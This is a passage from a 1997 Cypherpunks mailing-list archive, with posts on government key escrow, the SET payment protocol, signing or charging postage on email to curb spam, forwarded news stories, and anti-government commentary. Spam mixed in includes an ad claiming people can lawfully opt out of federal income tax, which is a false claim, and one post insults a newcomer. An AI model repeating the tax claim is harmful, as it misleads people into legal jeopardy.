but that's more than most spammers would probably want to risk.

> 
> -----------------------------------------------------------------------
> Ryan Anderson -      "Who knows, even the horse might sing" 
> Wayne State University - CULMA   "May you live in interesting times.."
> randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
> PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
> -----------------------------------------------------------------------
> 
> 


Mark
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=2d7Q
-----END PGP SIGNATURE-----






From claudine at adultpatrol.com  Fri Jul  4 14:01:27 1997
From: claudine at adultpatrol.com (claudine at adultpatrol.com)
Date: Fri, 4 Jul 1997 14:01:27 -0700 (PDT)
Subject: Make $$$ with 800 Phone Numbers
Message-ID: <20490774600333@adultpatrol.com>


 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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once you have done this, you will never receive another email from us.

 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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From cypherpunks at Algebra.COM  Fri Jul  4 04:48:11 1997
From: cypherpunks at Algebra.COM (cypherpunks at Algebra.COM)
Date: Fri, 4 Jul 1997 19:48:11 +0800
Subject: http://hipcrime.home.ml.org
Message-ID: <199707041140.EAA15235@norway.it.earthlink.net>



This is NOT a commercial message.  Thanks.






From md546178 at silab.dsi.unimi.it  Fri Jul  4 05:26:27 1997
From: md546178 at silab.dsi.unimi.it (Moreno Daltin)
Date: Fri, 4 Jul 1997 20:26:27 +0800
Subject: hi
Message-ID: <199707041205.OAA16771@tic.silab.dsi.unimi.it>



hi everybody !






From taxbuster at futuregate.com  Fri Jul  4 20:47:35 1997
From: taxbuster at futuregate.com (FutureGate Web Services)
Date: Fri, 4 Jul 1997 20:47:35 -0700 (PDT)
Subject: Income Tax News - July 4th Edition
Message-ID: <199707050347.UAA24630@toad.com>


Happy 4th of July!!

I hope your celebration is going well. I am celebrating with a special announcement of the new expanded TaxBuster Guide. Although the second addition contains much new information on how you can lawfully opt out of the Federal income tax system, the price for access to the web-site will remain at $9.95 to celebrate the 221st birthday of the Declaration of Independence.

If you have ever wanted to study this powerful information now is the best time, visit the TaxBuster Guide at:

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You will also find links to other great sites like:

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FutureGate's Best WWW Hosting and Web-Site Promotion
The Watkins Products Catalog - Online


----------------------------------------------------------------------

To be removed from any future mailings, just reply with REMOVE in the
subject line.







From rah at shipwright.com  Fri Jul  4 06:43:37 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 4 Jul 1997 21:43:37 +0800
Subject: Clinton nixes domestic encryption right
Message-ID: 




--- begin forwarded text


X-Sender: tbell at cato.org
Mime-Version: 1.0
Date:         Thu, 3 Jul 1997 17:10:46 -0400
Reply-To:     Law & Policy of Computer Communications
              
Sender:       Law & Policy of Computer Communications
              
From:         "Tom W. Bell" 
Subject:      Re: Clinton nixes domestic encryption right
To:           CYBERIA-L at LISTSERV.AOL.COM

Phill writes:

>Stuart Baker claims that Gore is the main administration supporter of GAK.
>But others have claimed the exact opposite. I suspect that if Gore really
>supported the GAK idea he would do so publically and explicitly, its a vote
>winner.

For what it's worth, I had dinner Monday with two people from Gore's office
and one of Microsoft's officers.  The Gore people consistently demanded
mandatory key escrow, though they seemed willing to allow private parties to
do the job so long as GAK remained an option.  The Microsoft person only
went so far as to offer to always make key escrow a *feature*, arguing that
this would in practice get the administration all the GAK it wants because
almost everyone would want to escrow their private keys.

The debate unfolded something like this:

Gore people:  "People using really strong encryption will *want* to escrow
their keys.  Otherwise, lost keys will result in irretrievably lost data."

MS person:  "Oh, sure--especially commerical players.  But you underestimate
the amount of resistance *mandated* escrowing will create.  People want to
*choose* to escrow.  If you let them, they will."

Gore people:  "Well, if they're going to escrow anyhow, what's the problem
with mandating it?"

MS person:  "You don't get it.  Our customers care deeply about their
encryption rights, and we want happy customers.  If the administration will
just back off, it will get what it wants--or, at least, as much as it can at
any rate expect."

It presented a classic case of cultural conflict--in this case, political
cultural confronting commercial culture.

Tom W. Bell
-----------
tbell at cato.org
Director, Telecommunications and Technology Studies
The Cato Institute

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From ravage at ssz.com  Fri Jul  4 06:44:01 1997
From: ravage at ssz.com (Jim Choate)
Date: Fri, 4 Jul 1997 21:44:01 +0800
Subject: index.html
Message-ID: <199707041320.IAA15627@einstein.ssz.com>



   News 
   
   Destination Mars: Special Section 
   
   3700 hotels worldwide- click here for immediate on-line reservations 
   
   Search and Feedback NEWS
   
Passenger dragged half-naked from plane lavatory sues

    lavatory lawsuit graphic July 3, 1997
   Web posted at: 5:07 p.m. EDT (2107 GMT)
   
   NEW YORK (AP) -- Caught with his pants down on a trans-Atlanticflight,
   a New York businessman insists he is innocent.
   
    Raviv Laor says he was dragged from the bathroom of an AirFrance
   plane with his trousers around his ankles and toilet paperin his hand
   because a flight attendant wrongly thought he wassneaking a smoke.
   
    Laor, who says a malfunctioning smoke alarm went off, is suingthe
   airline for $12 million for his humiliation. He says he went tocourt
   after failing to get an apology or even a reply from theairline.
   
    Air France said Thursday that it was reviewing Laor's allegationsand
   would "respond in due course in the appropriate forum" afterconducting
   its own investigation.
   
  'The depth of my embarrassment I cannot begin to describe'
  
   
   
    The lawsuit, filed last month in Manhattan Supreme Court,asserts that
   20 minutes into a flight from Paris to Newark Airporton May 19, crew
   members broke into the locked lavatory andassaulted Laor.
   
   "The crew members then, while Laor was naked from the waistdown,
   dragged him outside the lavatory, exposing his genitals andother body
   parts to many seated passengers, both female and male,"the lawsuit
   said.
   
    "I was terrified," said Laor, 28, who owns a computer
   servicescompany. "My first reaction was 'My God, something must
   havehappened to the plane.'"
   
    "The depth of my embarrassment I cannot begin to describe," hesaid.
   
    Laor says he neither smokes nor drinks, and had opted for anonsmoking
   flight.
   
    He said his protestations were answered with a threat that hewould be
   arrested for arguing with the crew.
   
    The flight purser "told me I did not have the right to expectprivacy"
   and complained that Americans were "always screamingabout their
   rights," Laor said.
   
    "An official apology from Air France would have made adifference, but
   now too much time has elapsed," Laor says.
   
   Copyright 1997 Associated Press. All rights reserved. This material
   may not be published, broadcast, rewritten, or redistributed. rule
   Note: Pages will open in a new browser window.
   
  Related story:
  
   
     * Flight attendant secondhand smoke trial under way - June 2, 1997
       
  Related site:
  
   
     * Air France
       
   
   To Top 
   
   � 1997 Cable News Network, Inc.
   All Rights Reserved.
   
        Terms under which this service is provided to you.






From rah at shipwright.com  Fri Jul  4 06:44:20 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Fri, 4 Jul 1997 21:44:20 +0800
Subject: SET and dual use
Message-ID: 




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: ptharrison 
MIME-version: 1.0
Precedence: Bulk
Date:  Thu, 03 Jul 1997 23:01:00 -0400
From: ptharrison 
To: Multiple recipients of 
Subject:  SET and dual use

-----BEGIN PGP SIGNED MESSAGE-----

The Worldwide Conspiracy of International Bankers is now engaged
in an unprecedented attack on the Nation State.  Last month, a
so-called consortium of very large banks and their lackies the
branded credit card companies issued a detailed plan to put
strong cryptography into the hands of every statistically
creditworthy human being on the planet.  In issuing the Secure
Electronic Transaction (SET) protocol, this cabal of
transnational, stateless seekers of interest income and
acquisition discounts have detailed a plan by which every
merchant which accepts credit cards, every institution which
issues them, and incredibly every individual who posesses them
would be able to register and share public keys.  Going far
beyond the puny efforts of the "cypherpunks" who established
primitive pretty good privacy key servers and built a web of
trust over the past several years, the International Banking
Conspiracy is attempting to set up a gargantuan web of
certificate authorities to support individuals and corporations
in the publication of their cryptographic identities.

The unpatriotic stools of this conspiracy within our own US
government are expected to legitimize this unholy plan by
permitting the wholesale export of SET-related products under
the guise that SET is purely a financial transaction processing
system.  However, over time it will become clear that this was
the beginning of the end.

The SET co-conspirators have made it abundantly clear in their
specification that the financial security and viability of their
entire initiative relies on the absolute privacy of each
individual's personal keys.  This explicit rejection of the
sharing of keys effectively rules out key escrow schemes for
SET.

After an unprecedented global training excercise, in which the
Banking Conspiracy will inculcate the imperative that private
keys must NEVER be shared with anyone (or else your credit cards
will be cancelled or your merchant status revoked), and after
worldwide rollout of products intended to allow secret
communications over any network connection including the
backbone internet, the public telephone system, radio channels,
through corporate and national firewalls, and even by "carrier
pigeon" the "consortium" will exend the SET protocol to allow
the sending of so-called EDI messages (communications which can
be effectively on any topic between any two parties)
over the established global secret network.  An age of secure
private communications will be ushered in.

And then...separate SET-protocol webs will be established where
the "CAs", "merchants" and "cardholders" are simply pseudonyms
for...revolutionary forces intent on trafficing in guns,
laundering money and replacing world governments with child
pornographers, drugs lords and terrorists.  Seemingly innocent
browser software installed everywhere will become the tool of
evildoers to invisibly conduct their own global conspiracies.
Only then, too late, will the Banking Conspiracy realize that
they no longer control the planet and that in true Hegelian
fashion their great idea contained the seeds of its own
destruction.

Don't say I didn't warn you!
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=zdfI
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----------
The e$ lists are brought to you by:

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Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
For e$/e$pam sponsorship, mail Bob: 

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo 
(Majordomo)^2: Rachel Willmer
Commermeister: Anthony Templer 
Interturge: Rodney Thayer 




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From stewarts at ix.netcom.com  Fri Jul  4 10:49:15 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Sat, 5 Jul 1997 01:49:15 +0800
Subject: ISP signatures on outgoing mail
In-Reply-To: <199707031614.SAA27700@basement.replay.com>
Message-ID: <3.0.2.32.19970704104000.006ba75c@popd.ix.netcom.com>



At 06:14 PM 7/3/97 +0200, Anonymous wrote:
>Anyone heard of a proposal for ISPs to automatically sign outgoing
>mail headers?  Problem has been that spammers send email by one
>path but forge a reply-to or from address at another location.  

Flat-out can't work.  The problem is that you can send
SMTP directly from your machine to its destination,
so the ISP only routes the IP packets and doesn't read them.
It's popular for mail clients like Eudora and Netscape to
send all their mail to an SMTP forwarder, but the main
reasons to do that are to move the complicated work
to a machine that's on line all the time and smart enough
to deal with problems like retrying mail to systems that
don't answer, generating meaningful error messages when
the destination can't accept the mail, forwarding to
systems off in uucp-space, etc.  So it's perfectly
reasonable for mail from joeuser at aol.com to originate
on Joe's PC, with no way for AOL to sign it.
There's also the problem of misconfigured Win95 machines,
where either the operating system or the operator
aren't bright enough to send the correct machine name.
For instance, this mail comes from ca07b8bl.bns.att.com,
as any system that records the HELO messages will tell you,
because when my laptop is at work, that's it's name on the LAN.
Netcom's SMTP forwarder only identifies it by IP and DNS
pax-ca8-10.ix.netcom.com(204.30.66.74) address of the
dialup port it connected to, though other servers I've
used have also passed along, or at least recorded, the ca07b8bl.

Digital signatures take a lot of calculation,
and while CPUs keep getting cheaper, mail volume keeps getting larger.
It's difficult to make server-based signing scale well, especially for the
bigger ISPs.  Netcom's farm of mail servers is large and slow enough already.
You could try to force the user to sign the mail, 
using a signature certified by the ISP, and only forward email 
that's from or to your subscribers - but checking signatures still
requires about as much calculation, and the cheaper approach of 
looking at the signature key without really checking the signature
is easily forged.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From rah at shipwright.com  Fri Jul  4 11:01:12 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 5 Jul 1997 02:01:12 +0800
Subject: e$: $MTP?
Message-ID: 




--- begin forwarded text


Sender: e$@thumper.vmeng.com
Reply-To: Robert Hettinga 
Mime-Version: 1.0
Precedence: Bulk
Date:  Fri, 4 Jul 1997 09:21:12 -0400
From: Robert Hettinga 
To: Multiple recipients of 
Subject:  e$: $MTP?

They've been talking on cypherpunks about various ideas for authenticating
the sender of mail, and it brings up something I've been increasing my
agit-prop efforts on lately.

Unfortunately, the ultimate way for any e-mail authentication scheme to
work is for the *whole* message to be signed, headers and all, and then for
the sending SMTP server to sign the message passes it on, headers and all,
and so forth. The consequences of this approach, in terms of machine
resources, not to mention privacy (plus or minus how close you can get to
perfect pseudonymity), will probably be excessive.

The solution, here, I think, is economic, since this is, at root, an
economic problem. It's also one we've talked about here at length on e$.
That solution is postage.

If you use some kind of hash-collision microcoin protocol like
Rivest/Shamir's MicroMint, or the "hash-cash" stuff people have been
talking about on cypherpunks, you end up with a completely off-line,
extremely small value digital cash system which could be used to pay for
stuff like e-mail postage. The only thing you need to do is to encrypt the
payment to the $MTP (:-)) machine, which then sends your mail. The only
overhead is in handling the money, and, since it's handled offline anyway,
the overhead is going to be much less than authenticating signatures either
with an internal table, or, worse, in an on-line scheme of some kind.

However you do the protocol, you probably want to run it on a sender-pays
basis, as that's where all the economic incentive to spam comes from.
Actually, now that I think about it, a truly sender-pays system would mean
that receiver-collects, and so the *receiving* $MTP machine would be the
one which should actually get the money. This is not too far from the idea
of getting paid to read mail, which has also been discussed on cypherpunks
before. The receiving $MTP machine could even raise or lower its postage
price depending on the load at the time, thus auctioning its processing
resources to the highest bidder. People like e-mail spammers, needing to
send messages to you very cheaply would have to wait until the price comes
down. Some of them could wait a very long time. :-).

Frankly, I see no other solution to this problem in the long run except for
postage, which means it's probably time to start figuring out, in earnest,
how to make it all work. Whoever becomes the lowest cost producer of this
kind of software stands to make a whole *bunch* of money.

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/


----------
The e$ lists are brought to you by:

Intertrader Ltd:                "Digital Money Online"


Where people, networks and money come together: Consult Hyperion
http://www.hyperion.co.uk                    info at hyperion.co.uk

Like e$? Help pay for it! 
For e$/e$pam sponsorship, mail Bob: 

Thanks to the e$ e$lves:
Of Counsel: Vinnie Moscaritolo 
(Majordomo)^2: Rachel Willmer
Commermeister: Anthony Templer 
Interturge: Rodney Thayer 




--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From cypherpunks at toad.com  Fri Jul  4 11:51:52 1997
From: cypherpunks at toad.com (Cypherpunks)
Date: Sat, 5 Jul 1997 02:51:52 +0800
Subject: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <33BD3E9C.1A3B@toad.com>



Moreno Daltin wrote:
> hi everybody !

                       Welcome to the
                  Cypherpunks Mailing List (TcM)
                  ------------------------

  Your initial post to the list has been digitally classified by the 
Cypherpunks Automated Response system in order to determine the initial
level of reputation capital you will be awarded as a new member of the
Cypherpunks Mailing List (TcM).

Your initial entry level on the Cypherpunks Mailing List (TcM) will be:
               *** Level 2 ***
                    MORON
               *** Level 2 ***
  Level 2 is the lowest entry level available. From Level 2, you may
move up to other levels, at which the pinnacle is Cypherpunk Elite, or
down to Level 1, which each member of the Cypherpunks Mailing List (TcM)
has his or her own pet name for.
  Your reputation capital is increased or decreased according to the
quality and frequency of your posts. (Please note that, as is the case
with one's private parts, bigger is not necessarily better.)

         _______________________
         Warning & Disclaimer!!!
         -----------------------
The "Cypherpunks Mailing List (TcM) Level Classification System" (TM)
is based on the "Snow Anarchistic Rating System"...the "Paul Bradley
MiniAnarchist Rating System"...ad infinitum...since it is a random,
daily changing composite of the rating systems of each individual
Cypherpunk.
Thus, once again, the higher levels are not necessarily better and you
may be subject to support and praise, or attack and condemnation, no
matter what the content or quality of your posts. The source of your
support on the list, or the attacks against you, may change from time
to time depending on which list member is having a "Bad Algorithm Day."

Also be advised that due to the highly technical nature of some of the
mathematical concepts addressed on the list, it is possible to move
beyond Level 0 (Flame Ony/No Content) and into negative levels of
reputation capital such as Level -1 (where your Doppleganger sends
10 copies of your own posts back to you).
At Reputation Capital levels below -1, you may be subjected to shame,
humiliation and filtering to the point where the only hope for your
posts being read is for you to post to the list anonymously, as a
"Monger" of one sort or another.

In conclusion, "Welcome to the list, _MORON_!"
 
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Tim C. May, Philosopher King:
  "Welcome to the Cypherpunks Mailing List (TcM).
  "If you check the archives, you will find that I said "hi" to the
list back in 1992. In the future, please give me proper credit for the
quote when saying "hi" to the list."
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Dr. Dimitri Vulis, KOTM:
  "When sending ASCII Art slams against Timmy C. Mayo to the list, it
is not necessary to give me proper credit, as I will be given full
credit for it automatically, anyway.
----------------------------------------------------------------------
Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
  "Don't bother giving me credit for my quotes. Nobody else does, and
I'm used to blowing my own horn, anyway."
----------------------------------------------------------------------
*** "Cypherpunks Mailing List" is a (Trade{cocksucker}Mark) of the
Electronic Forgery Foundation, and any abuse of this (TcM) will be
considered normal behavior on this list. ***







From jya at pipeline.com  Fri Jul  4 12:13:46 1997
From: jya at pipeline.com (John Young)
Date: Sat, 5 Jul 1997 03:13:46 +0800
Subject: Crypto Risks and Rewards
Message-ID: <1.5.4.32.19970704185701.006eac80@pop.pipeline.com>



Senators Lott, Burns and Ashcroft discussed encryption
policy reform on June 27. The Deschall crack is cited as
a risk posed by Admin-McCain-Kerrey limitations. Ashcroft 
stated:

   I am privileged to serve on the Senate Judiciary Committee 
   where we will address this issue after the July recess. I 
   pledge to work with members on that Committee and with 
   other interested Senators and the leader to try to move a 
   bill in that committee that will capture the essence of Burns 
   substitute.

   No nationwide key recovery system, or a new licensing 
   requirement for certificate authorities should be brought 
   to the floor without thorough examination, analysis and 
   understanding. We must further study the impact of these 
   provisions well before this bill is brought to the Senate floor. 

For full report:

   http://jya.com/crypto-pr.txt  (14K)

----------

The Law Society of England and Wales has published a
response to the March DTI risky biz for Trusted Third Parties:

   http://jya.com/ttp-lawsoc.htm

----------

For the article Robert Hettinga cited by Thomas Vartanian
on the risks offering CA services:

   http://jya.com/ca-risks.htm

Recall that Mr. Vartanian provided the NSA paper, "How to 
Make a Mint, the Cryptography of Electronic Money:"

   http://jya.com/nsamint.htm






From randerso at ece.eng.wayne.edu  Fri Jul  4 12:50:51 1997
From: randerso at ece.eng.wayne.edu (Ryan Anderson)
Date: Sat, 5 Jul 1997 03:50:51 +0800
Subject: e$: $MTP? (fwd)
Message-ID: 




---------- Forwarded message ----------
Date: Fri, 4 Jul 1997 15:45:24 -0400 (edt)
From: Ryan Anderson 
To: Robert Hettinga 
Subject: Re: e$: $MTP?

> Frankly, I see no other solution to this problem in the long run except for
> postage, which means it's probably time to start figuring out, in earnest,
> how to make it all work. Whoever becomes the lowest cost producer of this
> kind of software stands to make a whole *bunch* of money.

We still need to work out how to fit mailing lists fit into this without
eliminating them entirely. Chargebacks to the subscribers?  If this list
will work in a proposed plan, I think all the others probably would as
well.. :-)

-----------------------------------------------------------------------
Ryan Anderson -      "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso at ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------







From bennett_t1 at popmail.firn.edu  Fri Jul  4 15:18:26 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sat, 5 Jul 1997 06:18:26 +0800
Subject: Clinton nixes domestic encryption right
In-Reply-To: 
Message-ID: <33BD81AF.426D5541@popmail.firn.edu>



Robert Hettinga wrote:

> --- begin forwarded text
>
> X-Sender: tbell at cato.org
> Mime-Version: 1.0
> Date:         Thu, 3 Jul 1997 17:10:46 -0400
> Reply-To:     Law & Policy of Computer Communications
>               
> Sender:       Law & Policy of Computer Communications
>               
> From:         "Tom W. Bell" 
> Subject:      Re: Clinton nixes domestic encryption right
> To:           CYBERIA-L at LISTSERV.AOL.COM
>
> Phill writes:
>
> >Stuart Baker claims that Gore is the main administration supporter of
> GAK.
> >But others have claimed the exact opposite. I suspect that if Gore
> really
> >supported the GAK idea he would do so publically and explicitly, its
> a vote
> >winner.
>
> For what it's worth, I had dinner Monday with two people from Gore's
> office
> and one of Microsoft's officers.  The Gore people consistently
> demanded
> mandatory key escrow, though they seemed willing to allow private
> parties to
> do the job so long as GAK remained an option.  The Microsoft person
> only
> went so far as to offer to always make key escrow a *feature*

"Sir, the government getting your keys *isn't* a bug, it's a feature in
case you have to recover them.  Will the government use them illegally?
No, sir, why would they want to do that?"

> , arguing that
> this would in practice get the administration all the GAK it wants
> because
> almost everyone would want to escrow their private keys.

ROFLMAO.

> The debate unfolded something like this:
>
> Gore people:  "People using really strong encryption will *want* to
> escrow
> their keys.  Otherwise, lost keys will result in irretrievably lost
> data."

And so that gorny geeks at the NSA can read mails relating to a grope in
the store room.

> MS person:  "Oh, sure--especially commerical players.  But you
> underestimate
> the amount of resistance *mandated* escrowing will create.  People
> want to
> *choose* to escrow.  If you let them, they will."

I choose to never escrow my keys.  It's my business, no one elses to
read my mail.

> Gore people:  "Well, if they're going to escrow anyhow, what's the
> problem
> with mandating it?"

> MS person:  "You don't get it.  Our customers care deeply about their
> encryption rights, and we want happy customers.  If the administration
> will
> just back off, it will get what it wants--or, at least, as much as it
> can at
> any rate expect."
>
> It presented a classic case of cultural conflict--in this case,
> political
> cultural confronting commercial culture.

To quote TV's Butt-Head, from Beavis & Butt-head: "Some people are
dumb."

> Tom W. Bell
> -----------
> tbell at cato.org
> Director, Telecommunications and Technology Studies
> The Cato Institute
>
> --- end forwarded text
>
> -----------------
> Robert Hettinga (rah at shipwright.com), Philodox
> e$, 44 Farquhar Street, Boston, MA 02131 USA
> "... however it may deserve respect for its usefulness and antiquity,
> [predicting the end of the world] has not been found agreeable to
> experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
> The e$ Home Page: http://www.shipwright.com/








From azur at netcom.com  Fri Jul  4 15:23:09 1997
From: azur at netcom.com (Steve Schear)
Date: Sat, 5 Jul 1997 06:23:09 +0800
Subject: e$: $MTP? (fwd)
In-Reply-To: 
Message-ID: 



At 3:45 PM -0400 7/4/97, Ryan Anderson wrote:
>---------- Forwarded message ----------
>Date: Fri, 4 Jul 1997 15:45:24 -0400 (edt)
>From: Ryan Anderson 
>To: Robert Hettinga 
>Subject: Re: e$: $MTP?
>
>> Frankly, I see no other solution to this problem in the long run except for
>> postage, which means it's probably time to start figuring out, in earnest,
>> how to make it all work. Whoever becomes the lowest cost producer of this
>> kind of software stands to make a whole *bunch* of money.
>
>We still need to work out how to fit mailing lists fit into this without
>eliminating them entirely. Chargebacks to the subscribers?  If this list
>will work in a proposed plan, I think all the others probably would as
>well.. :-)

If the email program (client or $MTP) creates/maintains a 'known party'
list which isn't expected to include postage this solves the mailing list
problem.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur at netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!







From bennett_t1 at popmail.firn.edu  Fri Jul  4 15:36:39 1997
From: bennett_t1 at popmail.firn.edu (bennett_t1 at popmail.firn.edu)
Date: Sat, 5 Jul 1997 06:36:39 +0800
Subject: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: <33BD8329.3E478C4D@popmail.firn.edu>



Moreno Daltin wrote:

> hi everybody !

What?  Who the hell are you?
God, so stupid crap like this can come from .mil domains, from AOLers,
and now from somewhere else.






From ravage at ssz.com  Fri Jul  4 15:57:47 1997
From: ravage at ssz.com (Jim Choate)
Date: Sat, 5 Jul 1997 06:57:47 +0800
Subject: index.html
Message-ID: <199707042234.RAA16340@einstein.ssz.com>



    CNN logo 
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                  GERMANY PASSES WORLD'S FIRST CYBERSPACE LAW
                                       
      graphic July 4, 1997
     Web posted at: 4:10 p.m. EDT (2010 GMT)
     
     BONN, Germany (AP) -- Germany on Friday became the first country to
     pass a law regulating the free-wheeling global electronic space of
     the Internet.
     
     Chancellor Helmut Kohl's government says the so-called multimedia
     law creates legal clarity that will help boost commercialization of
     cyberspace and combats illegal uses of the Internet such as for
     pornography.
     
     Critics say the law is an example of Germany's urge to regulate and
     may in fact deter investors in Internet services because it does not
     state clearly to what extent the providers would be liable for
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     The law gained final approval in the upper house of parliament, the
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     "We are entering uncharted territory," said Joerg Appelhans,
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     Controversially, the law says online providers can be prosecuted for
     offering a venue for illegal content if they do so knowingly and it
     is "technically possible and reasonable" to prevent it.
     
     This could apply to forums and similar exchanges offered by online
     services without direct control over their content.
     
     However, "the liability provisions for providers are a big unknown,"
     said Christopher Kuner, an Frankfurt attorney specializing in
     cyberspace issues. "It leaves a lot of things open."
     
     The American Chamber of Commerce in Germany says liability for
     Internet services will have to be tested by court rulings, which
     "may cause prudent investors to hesitate."
     
     But research and technology minister Juergen Ruettgers said a law
     was needed, partly to protect German children.
     
     "That applies even to a network that knows no national borders," he
     said. "The Internet is not outside the reach of the law."
     
     Copyright 1997   The Associated Press. All rights reserved. This
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From netpiracy at spa.org  Fri Jul  4 16:07:41 1997
From: netpiracy at spa.org (Spam Me)
Date: Sat, 5 Jul 1997 07:07:41 +0800
Subject: Jeff's Side of the Story.
In-Reply-To: <199707030110.DAA05747@basement.replay.com>
Message-ID: <199707030110.DAA05747@spa.org>



nobody at replay.com (Anonymous) wrote:

>   Who was it that used the threat of a lawsuit to shut down the
> remailer?
>   I, for one, would be more than happy to make certain that they
> receive ample opportunity to "Make $$Money$$ Fast!!" by receiving
> a mountain of information as to how to do so.

They're probably receiving plenty of spam right about now.  (see From: line)






From rah at shipwright.com  Fri Jul  4 16:14:39 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 5 Jul 1997 07:14:39 +0800
Subject: Welcome to Cypherpunks! / Re: hi
In-Reply-To: <199707041205.OAA16771@tic.silab.dsi.unimi.it>
Message-ID: 



At 2:19 pm -0400 on 7/4/97, Cypherpunks wrote:


> ----------------------------------------------------------------------
> Personal Note to Level 2 Entrants from Robert Hettinga, e$Czar:
>   "Don't bother giving me credit for my quotes. Nobody else does, and
> I'm used to blowing my own horn, anyway."
> ----------------------------------------------------------------------

Say 'amen', somebody.

Oh. I just did, didn't I?

Never mind...

Ironically,
Bob Hettinga

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From nobody at REPLAY.COM  Fri Jul  4 17:43:50 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 5 Jul 1997 08:43:50 +0800
Subject: Fuck the Fourth (and the First, Second....)
Message-ID: <199707050032.CAA08156@basement.replay.com>



Vin Suprynowicz wrote:
>     Most Americans should be ashamed to celebrate the Fourth

>   Recently, President Clinton's then-Drug Czar, Lee Brown, told me the role
> of government is to protect the people from dangers, such as drugs. I
> corrected him, saying, "No, the role of government is to protect our
> liberties."
> 
>   "We'll just have to disagree on that," the president's appointee said.

  Since the government was incapable of protecting either the people
at Waco or those at OKC, then who exactly are they protecting?
 
>   The War for American Independence began over unregistered, untaxed guns,
> when British forces attempted to seize arsenals of rifles, powder and ball
> from the hands of ill-organized Patriot militias in Lexington and Concord.
> American civilians shot and killed scores of these government agents as
> they marched back to Boston. Are those Minutemen still our heroes? Or do we
> now consider them "dangerous terrorists" and "depraved government-haters"?

  We consider them Branch Davadians.
 
>   In "The Federalist" No. 46, James Madison told us we need have no fear of
> any federal tyranny ever taking away our rights, arguing that under his
> proposed Constitution "the ultimate authority ... resides in the people
> alone," and predicting that any usurpation of powers not specifically
> delegated would lead to "plans of resistance" and "appeal to a trial of
> force."

  This was before Dan Rather and Kookie Roberts became "the ultimate
authority." Since they have to compete with Bart Simpson for ratings,
their primary interest is in making sure that the citizens don't "have
a cow" during their broadcast.
  {"Today, all rights and freedoms of the citizens were suspended by
Executive Order. And, in the lighter side of the news..." }

>   Another prominent federalist, Noah Webster, wrote in 1787: "Before a
> standing army can rule, the people must be disarmed; as they are in almost
> every kingdom in Europe."

  Adolph Hitler obviously understood what Noah Webster was writing
about.
If we could get the writings made into a TV movie (or a cartoon), there
might be a minute chance to get the American public to understand, as
well. 

>   In Phoenix last week, an air conditioner repairman and former Military
> Policeman named Chuck Knight was convicted by jurors -- some tearful -- who
> said they "had no choice" under the judge's instructions, on a single
> federal "conspiracy" count of associating with others who owned automatic
> rifles on which they had failed to pay a $200 "transfer tax" -- after a
> trial in which defense attorney Ivan Abrams says he was forbidden to bring
> up the Second Amendment as a defense.
> 
